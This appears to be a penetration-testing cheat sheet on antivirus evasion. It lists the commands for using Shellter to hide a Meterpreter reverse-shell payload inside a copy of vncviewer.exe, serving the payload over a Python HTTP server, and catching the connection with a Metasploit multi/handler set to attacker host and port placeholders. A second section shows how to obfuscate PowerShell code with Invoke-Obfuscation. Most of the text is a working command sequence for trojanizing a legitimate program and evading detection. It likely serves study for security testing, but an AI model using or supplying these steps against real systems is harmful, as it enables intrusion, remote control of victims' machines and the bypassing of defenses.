AV Evasion – Shellter

- Steps to create a hidden payload using Shellter:
  - cd */usr/share/windows-resources/shelter*
  - sudo wine shelter.exe
  - A (Auto)
  - Create a copy of vncviewer in a custom folder on your Desktop
  - vncviewer path: /usr/share/windows-binaries/vncviewer.exe
  - /home/kali/Desktop/AVBypass/vncviewer.exe
  - Y (Yes)
  - L (listed)
  - 1 (Or choose the index you need)
  - *AttackerIP* (LHOST) *
  - *AttackerPort* (LPORT) *

- Transfer the payload to target using python http server:
  - python3 -m http.server 80
  - The method of transfer is entirely up to you – Depends on the case.

- Receive the payload's reverse shell using MSF:
  - service postgresql start && msfconsole -q
  - use multi/handler
  - set payload windows/meterpreter/reverse_tcp
  - set LHOST *AttackerIP* ***Must match payload's LHOST** *
  - set LPORT *AttackerPort* ***Must match payload's LPORT** *

Code Obfuscation | **Invoke-Obfuscation**

GitHub | Invoke-Obfuscation.psd1

- Code to obfuscate: Link (Remove powershell -nop -c and the quotation marks at the start/end)

1. Install PowerShell on Linux
    - sudo apt-get install powershell -y
    - pwsh
2. Import PowerShell module (The code to obfuscate)
    - Import-Module ./Invoke-Obfuscation.psd1
    - Invoke-Obfuscation
3. Configuring the obfuscation
    - SET SCRIPTPATH *{Path_To_Code}*
    - AST
    - ALL
    - 1
    - Paste code to a new .ps1 file